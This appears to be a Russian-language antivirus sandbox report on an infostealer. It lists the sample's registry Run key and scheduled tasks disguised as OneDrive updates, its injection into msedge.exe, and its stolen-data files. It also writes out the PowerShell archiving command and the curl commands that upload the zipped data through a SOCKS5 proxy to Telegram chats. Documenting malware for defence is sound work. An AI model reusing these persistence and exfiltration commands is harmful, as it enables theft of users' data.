Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'OneDriveUpdate' = '%APPDATA%\Microsoft\Vault\VaultServiceHost.exe'
Вредоносные функции
Внедряет код в
следующие пользовательские процессы:
- msedge.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\onedrive\onedrivestandaloneupdater.exe
- %APPDATA%\microsoft\vault\vaultservicehost.exe
- %TEMP%\stealer_23485_974671\stealer_log.txt
- %TEMP%\stealer_23485_974671\screen_all.png
- %TEMP%\stealer_23485_974671\userinformation.txt
- %TEMP%\stealer_23485_974671_data.zip
Сетевая активность
Подключается к
- 'ip##pi.com':80
- '15#.#32.69.169':8000
TCP
Запросы HTTP GET
- http://ip##pi.com/json/
Другие
- '15#.#32.69.169':8000
UDP
- DNS ASK ip##pi.com
Другое
Создает и запускает на исполнение
- '%LOCALAPPDATA%\microsoft\onedrive\onedrivestandaloneupdater.exe'
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\OneDrive\OneDrive Standalone Update Task" /tr "%LOCALAPPDATA%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe" /sc ONLOGON /rl HIGHEST /f >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\OneDrive\OneDrive Standalone Update Task" /tr "%LOCALAPPDATA%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe" /sc ONLOGON /f >nul 2>&1 (со скрытым окном)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Compress-Archive -Path '%TEMP%\stealer_23485_974671\*' -DestinationPath '%TEMP%\stealer_23485_974671_data.zip' -CompressionLevel Fastest -Force" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -k -x "socks5h://a2Vynk:baqHgd@15#.#32.69.169:8000" -F "chat_id=8737468312" -F "caption=NEW LOG from kedolkpgmdg" -F "document=@%TEMP%\stealer_23485_974671_data.zip" "https://api.telegram.or... (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -k -x "socks5h://a2Vynk:baqHgd@15#.#32.69.169:8000" -F "chat_id=6723782192" -F "caption=NEW LOG from kedolkpgmdg" -F "document=@%TEMP%\stealer_23485_974671_data.zip" "https://api.telegram.or... (со скрытым окном)
- '%LOCALAPPDATA%\microsoft\onedrive\onedrivestandaloneupdater.exe' (со скрытым окном)
